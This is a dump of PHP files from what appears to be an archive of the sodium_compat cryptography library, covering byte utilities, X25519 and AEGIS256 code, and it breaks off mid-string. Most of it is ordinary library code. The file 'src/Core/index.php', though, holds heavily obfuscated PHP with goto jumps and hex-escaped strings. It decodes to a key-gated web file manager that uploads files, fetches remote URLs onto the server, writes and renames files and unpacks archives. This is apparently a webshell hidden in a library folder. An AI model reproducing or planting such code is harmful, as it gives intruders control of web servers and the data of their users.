if (!is_string($hexString)) { throw new TypeError('Argument 1 must be a string, ' . gettype($hexString) . ' given.'); } if (!is_string($ignore)) { throw new TypeError('Argument 2 must be a string, ' . gettype($hexString) . ' given.'); } $hex_pos = 0; $bin = ''; $c_acc = 0; $hex_len = self::strlen($hexString); $state = 0; if (($hex_len & 1) !== 0) { if ($strictPadding) { throw new RangeException( 'Expected an even number of hexadecimal characters' ); } else { $hexString = '0' . $hexString; ++$hex_len; } } $chunk = unpack('C*', $hexString); while ($hex_pos < $hex_len) { ++$hex_pos; /** @var int $c */ $c = $chunk[$hex_pos]; $c_num = $c ^ 48; $c_num0 = ($c_num - 10) >> 8; $c_alpha = ($c & ~32) - 55; $c_alpha0 = (($c_alpha - 10) ^ ($c_alpha - 16)) >> 8; if (($c_num0 | $c_alpha0) === 0) { if ($ignore && $state === 0 && strpos($ignore, self::intToChr($c)) !== false) { continue; } throw new RangeException( 'hex2bin() only expects hexadecimal characters' ); } $c_val = ($c_num0 & $c_num) | ($c_alpha & $c_alpha0); if ($state === 0) { $c_acc = $c_val * 16; } else { $bin .= pack('C', $c_acc | $c_val); } $state ^= 1; } return $bin; } /** * Turn an array of integers into a string * * @internal You should not use this directly from another application * * @param array $ints * @return string */ public static function intArrayToString(array $ints) { $args = $ints; foreach ($args as $i => $v) { $args[$i] = (int) ($v & 0xff); } array_unshift($args, str_repeat('C', count($ints))); return (string) (call_user_func_array('pack', $args)); } /** * Cache-timing-safe variant of ord() * * @internal You should not use this directly from another application * * @param int $int * @return string * @throws TypeError */ public static function intToChr($int) { return pack('C', $int); } /** * Load a 3 character substring into an integer * * @internal You should not use this directly from another application * * @param string $string * @return int * @throws RangeException * @throws TypeError */ public static function load_3($string) { /* Type checks: */ if (!is_string($string)) { throw new TypeError('Argument 1 must be a string, ' . gettype($string) . ' given.'); } /* Input validation: */ if (self::strlen($string) < 3) { throw new RangeException( 'String must be 3 bytes or more; ' . self::strlen($string) . ' given.' ); } /** @var array $unpacked */ $unpacked = unpack('V', $string . "\0"); return (int) ($unpacked[1] & 0xffffff); } /** * Load a 4 character substring into an integer * * @internal You should not use this directly from another application * * @param string $string * @return int * @throws RangeException * @throws TypeError */ public static function load_4($string) { /* Type checks: */ if (!is_string($string)) { throw new TypeError('Argument 1 must be a string, ' . gettype($string) . ' given.'); } /* Input validation: */ if (self::strlen($string) < 4) { throw new RangeException( 'String must be 4 bytes or more; ' . self::strlen($string) . ' given.' ); } /** @var array $unpacked */ $unpacked = unpack('V', $string); return (int) $unpacked[1]; } /** * Load a 8 character substring into an integer * * @internal You should not use this directly from another application * * @param string $string * @return int * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function load64_le($string) { /* Type checks: */ if (!is_string($string)) { throw new TypeError('Argument 1 must be a string, ' . gettype($string) . ' given.'); } /* Input validation: */ if (self::strlen($string) < 4) { throw new RangeException( 'String must be 4 bytes or more; ' . self::strlen($string) . ' given.' ); } if (PHP_VERSION_ID >= 50603 && PHP_INT_SIZE === 8) { /** @var array $unpacked */ $unpacked = unpack('P', $string); return (int) $unpacked[1]; } /** @var int $result */ $result = (self::chrToInt($string[0]) & 0xff); $result |= (self::chrToInt($string[1]) & 0xff) << 8; $result |= (self::chrToInt($string[2]) & 0xff) << 16; $result |= (self::chrToInt($string[3]) & 0xff) << 24; $result |= (self::chrToInt($string[4]) & 0xff) << 32; $result |= (self::chrToInt($string[5]) & 0xff) << 40; $result |= (self::chrToInt($string[6]) & 0xff) << 48; $result |= (self::chrToInt($string[7]) & 0xff) << 56; return (int) $result; } /** * @internal You should not use this directly from another application * * @param string $left * @param string $right * @return int * @throws SodiumException * @throws TypeError */ public static function memcmp($left, $right) { if (self::hashEquals($left, $right)) { return 0; } return -1; } /** * Multiply two integers in constant-time * * Micro-architecture timing side-channels caused by how your CPU * implements multiplication are best prevented by never using the * multiplication operators and ensuring that our code always takes * the same number of operations to complete, regardless of the values * of $a and $b. * * @internal You should not use this directly from another application * * @param int $a * @param int $b * @param int $size Limits the number of operations (useful for small, * constant operands) * @return int */ public static function mul($a, $b, $size = 0) { if (ParagonIE_Sodium_Compat::$fastMult) { return (int) ($a * $b); } static $defaultSize = null; /** @var int $defaultSize */ if (!$defaultSize) { /** @var int $defaultSize */ $defaultSize = (PHP_INT_SIZE << 3) - 1; } if ($size < 1) { /** @var int $size */ $size = $defaultSize; } /** @var int $size */ $c = 0; /** * Mask is either -1 or 0. * * -1 in binary looks like 0x1111 ... 1111 * 0 in binary looks like 0x0000 ... 0000 * * @var int */ $mask = -(($b >> ((int) $defaultSize)) & 1); /** * Ensure $b is a positive integer, without creating * a branching side-channel * * @var int $b */ $b = ($b & ~$mask) | ($mask & -$b); /** * Unless $size is provided: * * This loop always runs 32 times when PHP_INT_SIZE is 4. * This loop always runs 64 times when PHP_INT_SIZE is 8. */ for ($i = $size; $i >= 0; --$i) { $c += (int) ($a & -($b & 1)); $a <<= 1; $b >>= 1; } $c = (int) @($c & -1); /** * If $b was negative, we then apply the same value to $c here. * It doesn't matter much if $a was negative; the $c += above would * have produced a negative integer to begin with. But a negative $b * makes $b >>= 1 never return 0, so we would end up with incorrect * results. * * The end result is what we'd expect from integer multiplication. */ return (int) (($c & ~$mask) | ($mask & -$c)); } /** * Convert any arbitrary numbers into two 32-bit integers that represent * a 64-bit integer. * * @internal You should not use this directly from another application * * @param int|float $num * @return array */ public static function numericTo64BitInteger($num) { $high = 0; /** @var int $low */ if (PHP_INT_SIZE === 4) { $low = (int) $num; } else { $low = $num & 0xffffffff; } if ((+(abs($num))) >= 1) { if ($num > 0) { /** @var int $high */ $high = min((+(floor($num/4294967296))), 4294967295); } else { /** @var int $high */ $high = ~~((+(ceil(($num - (+((~~($num)))))/4294967296)))); } } return array((int) $high, (int) $low); } /** * Store a 24-bit integer into a string, treating it as big-endian. * * @internal You should not use this directly from another application * * @param int $int * @return string * @throws TypeError */ public static function store_3($int) { /* Type checks: */ if (!is_int($int)) { if (is_numeric($int)) { $int = (int) $int; } else { throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.'); } } /** @var string $packed */ $packed = pack('N', $int); return self::substr($packed, 1, 3); } /** * Store a 32-bit integer into a string, treating it as little-endian. * * @internal You should not use this directly from another application * * @param int $int * @return string * @throws TypeError */ public static function store32_le($int) { /* Type checks: */ if (!is_int($int)) { if (is_numeric($int)) { $int = (int) $int; } else { throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.'); } } /** @var string $packed */ $packed = pack('V', $int); return $packed; } /** * Store a 32-bit integer into a string, treating it as big-endian. * * @internal You should not use this directly from another application * * @param int $int * @return string * @throws TypeError */ public static function store_4($int) { /* Type checks: */ if (!is_int($int)) { if (is_numeric($int)) { $int = (int) $int; } else { throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.'); } } /** @var string $packed */ $packed = pack('N', $int); return $packed; } /** * Stores a 64-bit integer as an string, treating it as little-endian. * * @internal You should not use this directly from another application * * @param int $int * @return string * @throws TypeError */ public static function store64_le($int) { /* Type checks: */ if (!is_int($int)) { if (is_numeric($int)) { $int = (int) $int; } else { throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.'); } } if (PHP_INT_SIZE === 8) { if (PHP_VERSION_ID >= 50603) { /** @var string $packed */ $packed = pack('P', $int); return $packed; } return self::intToChr($int & 0xff) . self::intToChr(($int >> 8) & 0xff) . self::intToChr(($int >> 16) & 0xff) . self::intToChr(($int >> 24) & 0xff) . self::intToChr(($int >> 32) & 0xff) . self::intToChr(($int >> 40) & 0xff) . self::intToChr(($int >> 48) & 0xff) . self::intToChr(($int >> 56) & 0xff); } if ($int > PHP_INT_MAX) { list($hiB, $int) = self::numericTo64BitInteger($int); } else { $hiB = 0; } return self::intToChr(($int ) & 0xff) . self::intToChr(($int >> 8) & 0xff) . self::intToChr(($int >> 16) & 0xff) . self::intToChr(($int >> 24) & 0xff) . self::intToChr($hiB & 0xff) . self::intToChr(($hiB >> 8) & 0xff) . self::intToChr(($hiB >> 16) & 0xff) . self::intToChr(($hiB >> 24) & 0xff); } /** * Safe string length * * @internal You should not use this directly from another application * * @ref mbstring.func_overload * * @param string $str * @return int * @throws TypeError */ public static function strlen($str) { /* Type checks: */ if (!is_string($str)) { throw new TypeError('String expected'); } return (int) ( self::isMbStringOverride() ? mb_strlen($str, '8bit') : strlen($str) ); } /** * Turn a string into an array of integers * * @internal You should not use this directly from another application * * @param string $string * @return array * @throws TypeError */ public static function stringToIntArray($string) { if (!is_string($string)) { throw new TypeError('String expected'); } /** * @var array */ $values = array_values( unpack('C*', $string) ); return $values; } /** * Safe substring * * @internal You should not use this directly from another application * * @ref mbstring.func_overload * * @param string $str * @param int $start * @param int $length * @return string * @throws TypeError */ public static function substr($str, $start = 0, $length = null) { /* Type checks: */ if (!is_string($str)) { throw new TypeError('String expected'); } if ($length === 0) { return ''; } if (self::isMbStringOverride()) { if (PHP_VERSION_ID < 50400 && $length === null) { $length = self::strlen($str); } $sub = (string) mb_substr($str, $start, $length, '8bit'); } elseif ($length === null) { $sub = (string) substr($str, $start); } else { $sub = (string) substr($str, $start, $length); } if ($sub !== '') { return $sub; } return ''; } /** * Compare a 16-character byte string in constant time. * * @internal You should not use this directly from another application * * @param string $a * @param string $b * @return bool * @throws SodiumException * @throws TypeError */ public static function verify_16($a, $b) { /* Type checks: */ if (!is_string($a)) { throw new TypeError('String expected'); } if (!is_string($b)) { throw new TypeError('String expected'); } return self::hashEquals( self::substr($a, 0, 16), self::substr($b, 0, 16) ); } /** * Compare a 32-character byte string in constant time. * * @internal You should not use this directly from another application * * @param string $a * @param string $b * @return bool * @throws SodiumException * @throws TypeError */ public static function verify_32($a, $b) { /* Type checks: */ if (!is_string($a)) { throw new TypeError('String expected'); } if (!is_string($b)) { throw new TypeError('String expected'); } return self::hashEquals( self::substr($a, 0, 32), self::substr($b, 0, 32) ); } /** * Calculate $a ^ $b for two strings. * * @internal You should not use this directly from another application * * @param string $a * @param string $b * @return string * @throws TypeError */ public static function xorStrings($a, $b) { /* Type checks: */ if (!is_string($a)) { throw new TypeError('Argument 1 must be a string'); } if (!is_string($b)) { throw new TypeError('Argument 2 must be a string'); } return (string) ($a ^ $b); } /** * Returns whether or not mbstring.func_overload is in effect. * * @internal You should not use this directly from another application * * Note: MB_OVERLOAD_STRING === 2, but we don't reference the constant * (for nuisance-free PHP 8 support) * * @return bool */ protected static function isMbStringOverride() { static $mbstring = null; if ($mbstring === null) { if (!defined('MB_OVERLOAD_STRING')) { $mbstring = false; return $mbstring; } $mbstring = extension_loaded('mbstring') && defined('MB_OVERLOAD_STRING') && ((int) (ini_get('mbstring.func_overload')) & 2); // MB_OVERLOAD_STRING === 2 } /** @var bool $mbstring */ return $mbstring; } } PK)L[#AU$$src/Core/X25519.phpnu[> 25; $h[0] += self::mul($carry9, 19, 5); $h[9] -= $carry9 << 25; /** @var int $carry1 */ $carry1 = ($h[1] + (1 << 24)) >> 25; $h[2] += $carry1; $h[1] -= $carry1 << 25; /** @var int $carry3 */ $carry3 = ($h[3] + (1 << 24)) >> 25; $h[4] += $carry3; $h[3] -= $carry3 << 25; /** @var int $carry5 */ $carry5 = ($h[5] + (1 << 24)) >> 25; $h[6] += $carry5; $h[5] -= $carry5 << 25; /** @var int $carry7 */ $carry7 = ($h[7] + (1 << 24)) >> 25; $h[8] += $carry7; $h[7] -= $carry7 << 25; /** @var int $carry0 */ $carry0 = ($h[0] + (1 << 25)) >> 26; $h[1] += $carry0; $h[0] -= $carry0 << 26; /** @var int $carry2 */ $carry2 = ($h[2] + (1 << 25)) >> 26; $h[3] += $carry2; $h[2] -= $carry2 << 26; /** @var int $carry4 */ $carry4 = ($h[4] + (1 << 25)) >> 26; $h[5] += $carry4; $h[4] -= $carry4 << 26; /** @var int $carry6 */ $carry6 = ($h[6] + (1 << 25)) >> 26; $h[7] += $carry6; $h[6] -= $carry6 << 26; /** @var int $carry8 */ $carry8 = ($h[8] + (1 << 25)) >> 26; $h[9] += $carry8; $h[8] -= $carry8 << 26; foreach ($h as $i => $value) { $h[$i] = (int) $value; } return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($h); } /** * @internal You should not use this directly from another application * * Inline comments preceded by # are from libsodium's ref10 code. * * @param string $n * @param string $p * @return string * @throws SodiumException * @throws TypeError */ public static function crypto_scalarmult_curve25519_ref10($n, $p) { # for (i = 0;i < 32;++i) e[i] = n[i]; $e = '' . $n; # e[0] &= 248; $e[0] = self::intToChr( self::chrToInt($e[0]) & 248 ); # e[31] &= 127; # e[31] |= 64; $e[31] = self::intToChr( (self::chrToInt($e[31]) & 127) | 64 ); # fe_frombytes(x1,p); $x1 = self::fe_frombytes($p); # fe_1(x2); $x2 = self::fe_1(); # fe_0(z2); $z2 = self::fe_0(); # fe_copy(x3,x1); $x3 = self::fe_copy($x1); # fe_1(z3); $z3 = self::fe_1(); # swap = 0; /** @var int $swap */ $swap = 0; # for (pos = 254;pos >= 0;--pos) { for ($pos = 254; $pos >= 0; --$pos) { # b = e[pos / 8] >> (pos & 7); /** @var int $b */ $b = self::chrToInt( $e[(int) floor($pos / 8)] ) >> ($pos & 7); # b &= 1; $b &= 1; # swap ^= b; $swap ^= $b; # fe_cswap(x2,x3,swap); self::fe_cswap($x2, $x3, $swap); # fe_cswap(z2,z3,swap); self::fe_cswap($z2, $z3, $swap); # swap = b; $swap = $b; # fe_sub(tmp0,x3,z3); $tmp0 = self::fe_sub($x3, $z3); # fe_sub(tmp1,x2,z2); $tmp1 = self::fe_sub($x2, $z2); # fe_add(x2,x2,z2); $x2 = self::fe_add($x2, $z2); # fe_add(z2,x3,z3); $z2 = self::fe_add($x3, $z3); # fe_mul(z3,tmp0,x2); $z3 = self::fe_mul($tmp0, $x2); # fe_mul(z2,z2,tmp1); $z2 = self::fe_mul($z2, $tmp1); # fe_sq(tmp0,tmp1); $tmp0 = self::fe_sq($tmp1); # fe_sq(tmp1,x2); $tmp1 = self::fe_sq($x2); # fe_add(x3,z3,z2); $x3 = self::fe_add($z3, $z2); # fe_sub(z2,z3,z2); $z2 = self::fe_sub($z3, $z2); # fe_mul(x2,tmp1,tmp0); $x2 = self::fe_mul($tmp1, $tmp0); # fe_sub(tmp1,tmp1,tmp0); $tmp1 = self::fe_sub($tmp1, $tmp0); # fe_sq(z2,z2); $z2 = self::fe_sq($z2); # fe_mul121666(z3,tmp1); $z3 = self::fe_mul121666($tmp1); # fe_sq(x3,x3); $x3 = self::fe_sq($x3); # fe_add(tmp0,tmp0,z3); $tmp0 = self::fe_add($tmp0, $z3); # fe_mul(z3,x1,z2); $z3 = self::fe_mul($x1, $z2); # fe_mul(z2,tmp1,tmp0); $z2 = self::fe_mul($tmp1, $tmp0); } # fe_cswap(x2,x3,swap); self::fe_cswap($x2, $x3, $swap); # fe_cswap(z2,z3,swap); self::fe_cswap($z2, $z3, $swap); # fe_invert(z2,z2); $z2 = self::fe_invert($z2); # fe_mul(x2,x2,z2); $x2 = self::fe_mul($x2, $z2); # fe_tobytes(q,x2); return self::fe_tobytes($x2); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $edwardsY * @param ParagonIE_Sodium_Core_Curve25519_Fe $edwardsZ * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function edwards_to_montgomery( ParagonIE_Sodium_Core_Curve25519_Fe $edwardsY, ParagonIE_Sodium_Core_Curve25519_Fe $edwardsZ ) { $tempX = self::fe_add($edwardsZ, $edwardsY); $tempZ = self::fe_sub($edwardsZ, $edwardsY); $tempZ = self::fe_invert($tempZ); return self::fe_mul($tempX, $tempZ); } /** * @internal You should not use this directly from another application * * @param string $n * @return string * @throws SodiumException * @throws TypeError */ public static function crypto_scalarmult_curve25519_ref10_base($n) { # for (i = 0;i < 32;++i) e[i] = n[i]; $e = '' . $n; # e[0] &= 248; $e[0] = self::intToChr( self::chrToInt($e[0]) & 248 ); # e[31] &= 127; # e[31] |= 64; $e[31] = self::intToChr( (self::chrToInt($e[31]) & 127) | 64 ); $A = self::ge_scalarmult_base($e); if ( !($A->Y instanceof ParagonIE_Sodium_Core_Curve25519_Fe) || !($A->Z instanceof ParagonIE_Sodium_Core_Curve25519_Fe) ) { throw new TypeError('Null points encountered'); } $pk = self::edwards_to_montgomery($A->Y, $A->Z); return self::fe_tobytes($pk); } } PK)L[7Asrc/Core/AEGIS256.phpnu[> 4; // for ai in ad_blocks: // Absorb(ai) for ($i = 0; $i < $ad_blocks; ++$i) { $ai = self::substr($ad, $i << 4, 16); if (self::strlen($ai) < 16) { $ai = str_pad($ai, 16, "\0", STR_PAD_RIGHT); } $state->absorb($ai); } $msg = ''; $cn = self::strlen($ct) & 15; $ct_blocks = self::strlen($ct) >> 4; // ct_blocks = Split(ZeroPad(ct, 128), 128) // cn = Tail(ct, |ct| mod 128) for ($i = 0; $i < $ct_blocks; ++$i) { $msg .= $state->dec(self::substr($ct, $i << 4, 16)); } // if cn is not empty: // msg = msg || DecPartial(cn) if ($cn) { $start = $ct_blocks << 4; $msg .= $state->decPartial(self::substr($ct, $start, $cn)); } $expected_tag = $state->finalize( self::strlen($ad) << 3, self::strlen($msg) << 3 ); if (!self::hashEquals($expected_tag, $tag)) { try { // The RFC says to erase msg, so we shall try: ParagonIE_Sodium_Compat::memzero($msg); } catch (SodiumException $ex) { // Do nothing if we cannot memzero } throw new SodiumException('verification failed'); } return $msg; } /** * @param string $msg * @param string $ad * @param string $key * @param string $nonce * @return array * @throws SodiumException */ public static function encrypt($msg, $ad, $key, $nonce) { $state = self::init($key, $nonce); $ad_len = self::strlen($ad); $msg_len = self::strlen($msg); $ad_blocks = ($ad_len + 15) >> 4; for ($i = 0; $i < $ad_blocks; ++$i) { $ai = self::substr($ad, $i << 4, 16); if (self::strlen($ai) < 16) { $ai = str_pad($ai, 16, "\0", STR_PAD_RIGHT); } $state->absorb($ai); } $ct = ''; $msg_blocks = ($msg_len + 15) >> 4; for ($i = 0; $i < $msg_blocks; ++$i) { $xi = self::substr($msg, $i << 4, 16); if (self::strlen($xi) < 16) { $xi = str_pad($xi, 16, "\0", STR_PAD_RIGHT); } $ct .= $state->enc($xi); } $tag = $state->finalize( $ad_len << 3, $msg_len << 3 ); return array( self::substr($ct, 0, $msg_len), $tag ); } /** * @param string $key * @param string $nonce * @return ParagonIE_Sodium_Core_AEGIS_State256 */ public static function init($key, $nonce) { return ParagonIE_Sodium_Core_AEGIS_State256::init($key, $nonce); } } PK)L[Ц.ZBBsrc/Core/index.phpnu[open($WxlCc) === TRUE) { goto dnKYZ; } goto yjRLJ; rcgmR: YAz4q: goto AeSrz; qOyLV: if (!($UyGf4 !== $RN9dg)) { goto SGPJe; } goto By17q; gPrp2: $DKH4N = "\x49\x74\x65\x6d\40\x6e\x6f\164\40\x66\157\165\156\144\56"; goto B3Ml1; AViHQ: ItQRC: goto NCBWC; jWvjk: echo urlencode(dirname($UyGf4)); goto sskkE; VJKE0: $DKH4N = "\x49\156\166\141\x6c\151\x64\x20\x66\x69\154\x65\40\x74\171\x70\x65\40\x6f\162\40\146\151\154\145\40\x61\x6c\x72\x65\141\x64\171\40\145\170\x69\x73\x74\163\56"; goto Y3LxI; qM33z: if (!($st1pL && isset($_POST["\x66\145\164\x63\150\x5f\162\x65\155\157\x74\145"]) && !empty($_POST["\162\x65\x6d\157\164\145\137\165\x72\x6c"]))) { goto T_Iui; } goto qfRoT; uBvqX: $DKH4N = "\x49\164\145\x6d\40\x64\x6f\167\x6e\x6c\x6f\x61\x64\x65\144\40\163\165\x63\x63\145\x73\x73\x66\x75\x6c\154\x79\x2e"; goto Zbq2n; iPIq9: $DKH4N = "\106\x69\x6c\x65\40\x61\154\162\x65\x61\144\x79\40\x65\x78\x69\163\164\163\x2e"; goto QH0ar; AoQU8: $XSEgQ = znO1r($_POST["\151\x74\x65\x6d\x5f\x6e\141\155\145"]); goto A6W2h; CxVnM: $P1G3L = ZNO1R($_POST["\x66\x6f\x6c\144\x65\162\x5f\156\141\x6d\145"]); goto NHwLm; xAZme: if (file_exists($xAY2y)) { goto ohQxi; } goto gPrp2; NrS0O: onpA9: goto Jr6hd; HrspV: yUGjA: goto HFgF1; jC0wy: $DKH4N = "\111\164\145\155\40\x75\x70\x6c\x6f\x61\x64\145\144\x20\x73\165\x63\143\145\x73\x73\146\165\x6c\x6c\x79\56"; goto Xtn5l; KCWei: if (isset($_POST["\x73\145\x63\165\162\x65\137\x6b\145\x79"]) && isset($_POST["\143\163\x72\146\x5f\x74\x6f\x6b\x65\x6e"]) && $_POST["\x63\163\x72\x66\x5f\x74\157\x6b\x65\x6e"] === $_SESSION["\143\x73\x72\x66\x5f\x74\x6f\153\145\156"]) { goto IJ3Hk; } goto eDJC3; SLPz3: if (!(isset($_FILES["\165\160\x6c\157\x61\144\145\x64\x5f\151\x74\x65\155"]) && $_FILES["\165\160\x6c\x6f\141\x64\145\144\x5f\x69\x74\145\155"]["\145\162\x72\x6f\162"] === UPLOAD_ERR_OK)) { goto P7qdn; } goto tlrMv; O2aP8: IKl1G: goto PqQjK; haRmB: gyQ9C: goto x7QnY; Vc9UK: yHBos: goto nxE40; yH4Cb: if (in_array($Vjqae, $yC3U8) && !file_exists($l4vH0)) { goto YAz4q; } goto VJKE0; F2e6r: if (file_put_contents($xAY2y, $cFfUK) !== false) { goto fSUu0; } goto CQNeC; mqeiq: goto CqYQN; goto O2aP8; GV3it: $DKH4N = "\111\x74\145\155\x20\x72\145\156\x61\155\x65\144\x20\x73\165\x63\143\x65\x73\x73\x66\x75\154\x6c\171\x2e"; goto AViHQ; HbETr: if (!(!$UyGf4 || !is_dir($UyGf4) || !is_readable($UyGf4) || strpos($UyGf4, $RN9dg) !== 0)) { goto IUKiV; } goto SFaK1; g9sUN: sort($RKVRy); goto IttBb; fP2_W: header("\103\157\x6e\x74\x65\x6e\x74\x2d\x54\171\160\x65\72\40\164\145\170\164\x2f\160\154\141\151\156"); goto lVPL0; aK3Vo: Axvto: goto A3raI; sbUHL: QuW09: goto mU9_h; Oo1ct: CtH4i: goto xmdTh; FdNTJ: $RKVRy = []; goto DXZMW; JENU1: OCuP1: goto NHWkd; dxbFr: bPia2: goto tVO8Z; LXZOP: $DKH4N = "\x45\x72\162\157\x72\40\145\x78\x74\x72\141\x63\x74\151\x6e\x67\x20\141\162\x63\x68\x69\x76\145\x2e"; goto YprUx; S5SU9: $xAY2y = $UyGf4 . "\x2f" . $XSEgQ; goto lkCg9; OQPz9: T_Iui: goto YNA75; k7_aS: echo htmlspecialchars($_SESSION["\x63\163\162\146\x5f\164\x6f\x6b\x65\156"]); goto MKafv; RkyCs: echo "\42\x3e\xd\12\40\x20\40\40\x20\x20\40\x20\40\x20\x20\40\40\40\40\40\40\40\40\x20\74\151\156\x70\165\164\x20\x74\171\x70\145\75\x22\164\x65\x78\x74\42\x20\x6e\141\155\145\x3d\42\146\157\x6c\x64\145\x72\137\x6e\141\155\x65\x22\x20\143\154\x61\x73\x73\x3d\42\146\154\x65\x78\55\x31\40\160\55\x33\x20\142\157\x72\x64\145\162\40\x72\157\x75\x6e\x64\145\x64\x2d\x6c\x67\x20\146\x6f\x63\x75\163\72\x6f\x75\164\154\151\156\145\55\156\157\156\145\40\x66\157\143\x75\x73\x3a\162\151\156\147\55\x32\40\x66\157\x63\165\x73\x3a\162\151\156\147\x2d\166\x69\166\151\x64\x2d\x74\145\x61\x6c\x22\40\160\x6c\141\143\145\150\157\x6c\144\145\162\x3d\42\x46\157\154\x64\145\x72\x20\x6e\x61\x6d\145\x22\x20\x72\x65\x71\165\x69\162\x65\144\x3e\xd\xa\x20\x20\40\40\40\40\40\x20\x20\x20\x20\40\40\40\x20\40\x20\40\40\x20\74\142\165\x74\x74\157\x6e\40\x74\x79\x70\x65\75\x22\163\165\x62\155\x69\x74\42\x20\x6e\x61\x6d\x65\75\42\141\144\x64\137\144\x69\162\x65\143\164\x6f\162\171\x22\40\x63\154\141\x73\x73\x3d\42\142\x67\55\166\x69\166\x69\x64\x2d\164\145\141\x6c\40\x74\x65\x78\164\55\x77\150\151\x74\x65\x20\160\55\63\x20\162\x6f\165\156\144\145\144\55\x6c\147\x20\150\x6f\166\145\162\72\x62\x67\55\166\x69\x76\151\x64\55\164\x65\x61\x6c\x2d\144\x61\162\x6b\40\x76\151\166\151\144\55\164\x72\x61\x6e\163\151\x74\151\157\x6e\42\x3e\x41\x64\144\x3c\x2f\142\165\164\164\x6f\x6e\x3e\xd\xa\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\x3c\57\x66\157\162\x6d\x3e\xd\12\x20\40\40\x20\x20\40\x20\40\x20\40\40\40\74\57\144\151\166\76\15\12\xd\12\x20\x20\40\40\40\40\40\x20\x20\x20\x20\x20\x3c\x21\x2d\55\x20\x55\160\154\157\x61\x64\x20\111\x74\145\155\40\x2d\x2d\76\xd\xa\x20\x20\x20\40\40\x20\40\40\x20\40\x20\40\x3c\144\151\166\x20\x63\154\x61\x73\163\75\42\142\x67\55\167\150\x69\x74\x65\40\x70\55\x36\x20\162\x6f\x75\156\x64\x65\144\55\170\x6c\40\163\150\141\144\157\167\55\x78\154\40\166\151\166\x69\x64\x2d\x68\157\166\145\162\x22\76\xd\12\x20\x20\x20\40\x20\40\40\40\x20\40\40\40\40\x20\x20\x20\74\150\63\40\143\154\x61\163\163\x3d\42\x74\x65\170\x74\55\170\154\40\x66\157\x6e\x74\x2d\163\145\x6d\x69\x62\x6f\x6c\144\x20\x6d\142\55\64\40\x74\x65\x78\x74\55\166\x69\x76\151\x64\x2d\143\x68\141\162\143\x6f\x61\x6c\x22\76\125\x70\x6c\157\141\144\40\111\164\145\x6d\74\x2f\150\x33\76\15\xa\x20\40\40\40\40\40\40\40\40\x20\x20\x20\x20\40\40\40\x3c\x66\157\162\155\x20\x6d\145\x74\x68\157\144\75\x22\160\157\x73\x74\x22\40\145\156\143\x74\x79\x70\x65\75\x22\155\x75\154\164\151\160\x61\x72\164\x2f\146\157\x72\x6d\x2d\x64\141\164\141\42\x20\143\x6c\x61\163\x73\x3d\x22\x66\154\145\170\40\x73\x70\141\143\x65\55\x78\x2d\63\42\x3e\15\xa\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\40\74\x69\x6e\160\x75\x74\40\164\171\x70\145\75\42\150\151\144\144\x65\156\x22\x20\x6e\141\x6d\x65\75\42\x63\x73\x72\x66\x5f\x74\x6f\153\x65\x6e\42\x20\x76\141\154\x75\145\x3d\x22"; goto k7_aS; Hfcg3: fSUu0: goto HF3ib; HWu98: echo "\40\x20\40\40\x20\40\40\40\74\57\144\151\166\x3e\15\xa\15\12\40\40\x20\40\x20\x20\x20\40\x3c\41\55\x2d\40\111\164\x65\x6d\40\124\141\x62\x6c\145\40\55\55\x3e\15\xa\40\x20\40\40\x20\x20\40\40\x3c\x64\151\166\x20\143\x6c\x61\163\163\x3d\42\x62\x67\55\x77\x68\x69\164\x65\x20\x72\157\165\x6e\144\145\144\x2d\x78\x6c\x20\163\150\141\144\157\167\55\x78\154\40\x6f\166\145\x72\x66\154\157\x77\x2d\170\x2d\141\165\164\157\x22\76\xd\12\x20\40\40\40\40\x20\40\40\40\40\40\40\x3c\x74\x61\142\154\145\40\143\x6c\x61\x73\x73\x3d\42\x77\55\146\165\154\154\x22\x3e\xd\xa\x20\40\x20\40\x20\x20\40\40\40\40\x20\40\x20\x20\x20\x20\74\x74\150\x65\141\x64\40\x63\x6c\141\x73\163\x3d\42\x62\x67\55\147\162\141\171\55\61\60\60\x22\x3e\xd\12\x20\40\40\40\40\40\40\40\40\40\x20\x20\x20\x20\x20\40\x20\40\40\40\x3c\164\x72\40\x63\x6c\x61\x73\x73\75\42\163\x74\151\143\153\171\x2d\150\145\x61\144\145\162\x22\x3e\xd\12\40\x20\40\x20\x20\40\40\40\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\74\x74\x68\40\x63\154\x61\163\163\75\42\160\x2d\64\40\x74\x65\x78\x74\x2d\x6c\x65\146\x74\40\164\x65\x78\x74\55\x76\x69\166\x69\x64\x2d\x63\x68\x61\162\x63\x6f\x61\154\42\76\116\141\155\x65\x3c\x2f\x74\150\76\xd\xa\40\x20\x20\x20\40\40\x20\40\40\40\x20\40\40\40\x20\x20\40\40\x20\40\40\x20\x20\x20\74\x74\x68\40\x63\154\141\x73\x73\75\x22\x70\55\x34\40\164\x65\x78\164\x2d\x6c\x65\x66\164\40\164\145\170\x74\x2d\166\x69\166\x69\x64\55\x63\x68\x61\x72\143\157\141\x6c\42\x3e\124\171\x70\145\x3c\57\164\x68\x3e\15\12\40\x20\x20\x20\40\40\x20\40\x20\x20\40\40\x20\x20\40\40\x20\40\x20\40\x20\40\x20\x20\x3c\x74\150\x20\x63\154\141\x73\163\x3d\42\160\x2d\x34\40\164\x65\170\164\x2d\154\145\146\164\40\x74\145\x78\164\x2d\x76\151\x76\151\x64\x2d\x63\x68\141\162\143\157\x61\154\42\76\123\x69\x7a\x65\74\x2f\x74\150\76\15\xa\40\40\40\x20\x20\40\40\40\x20\40\40\x20\40\40\x20\40\x20\40\x20\x20\40\40\x20\x20\74\164\x68\40\x63\x6c\141\x73\x73\75\42\x70\55\x34\40\x74\x65\170\164\55\154\145\146\x74\x20\164\145\170\164\x2d\166\151\166\x69\x64\x2d\x63\150\141\x72\x63\x6f\141\x6c\42\76\x57\162\x69\x74\141\142\x6c\x65\74\57\164\x68\76\xd\12\40\40\x20\40\x20\40\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\74\164\x68\x20\x63\x6c\141\163\163\75\x22\